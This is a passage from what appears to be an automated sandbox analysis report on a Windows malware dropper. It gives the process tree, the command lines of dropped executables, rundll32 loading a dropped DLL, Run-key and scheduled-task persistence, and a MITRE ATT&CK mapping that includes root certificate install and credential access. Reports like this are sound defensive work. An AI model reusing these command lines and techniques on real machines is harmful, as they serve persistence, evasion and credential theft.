      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2800
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4792
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3912
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3208
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3912
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3752
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5180
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5228
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5284
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5348
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5432
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5476
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5516
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5592
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5648
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5712
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5796
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5892
      - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6000
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
      4⤵
      Loads dropped DLL
      PID:1376
    - - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue11141271fbe5877f.exe
        
        Tue11141271fbe5877f.exe
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1692
      - C:\ProgramData\5382906.exe
        
        "C:\ProgramData\5382906.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2616
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2616 -s 1520
        7⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:4132
      - C:\ProgramData\8022292.exe
        
        "C:\ProgramData\8022292.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:2660
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3004
      - C:\ProgramData\6855562.exe
        
        "C:\ProgramData\6855562.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2784
      - C:\ProgramData\2969847.exe
        
        "C:\ProgramData\2969847.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2964
      - C:\ProgramData\1278526.exe
        
        "C:\ProgramData\1278526.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1296
      - C:\ProgramData\2617197.exe
        
        "C:\ProgramData\2617197.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1620
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 1860
        7⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2980
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
      4⤵
      Loads dropped DLL
      PID:2040
    - - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue118f55232e4.exe
        
        Tue118f55232e4.exe
        5⤵
        Executes dropped EXE
        
        PID:1268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
      4⤵
      Loads dropped DLL
      PID:1700
    - - C:\Users\Admin\AppData\Local\Temp\7zS4D602CF3\Tue112c483dd3245d.exe
        
        Tue112c483dd3245d.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1160
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1160 -s 984
        6⤵
        Loads dropped DLL
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2536

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2548
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:2556

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3828
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3840

C:\Windows\system32\taskeng.exe
taskeng.exe {B05A9C92-49F7-45B5-8600-B818D2F897BA} S-1-5-21-1669990088-476967504-438132596-1000:KJUCCLUP\Admin:Interactive:[1]
1⤵
PID:4280
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:4532
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:2832

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6928
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6964

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6116
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F8DFC1C0A79154CED9FC1C32B9B70EBA C
  2⤵
  PID:5328
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 86C9D0A405A8F151571810A5819FFE2E
  2⤵
  PID:6536
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:6612
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3103BB38AD76D0D547745E5EADA18EDF M Global\MSI0000
  2⤵
  PID:6464

C:\Windows\system32\taskeng.exe
taskeng.exe {976CB448-A0A8-4EE4-96C7-34B45DF7C3AD} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:4592
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
  2⤵
  PID:5408
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
  2⤵
  PID:6376
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
  2⤵
  PID:5176
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
  2⤵
  PID:1796
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
  2⤵
  PID:5936
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
  2⤵
  PID:6344

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery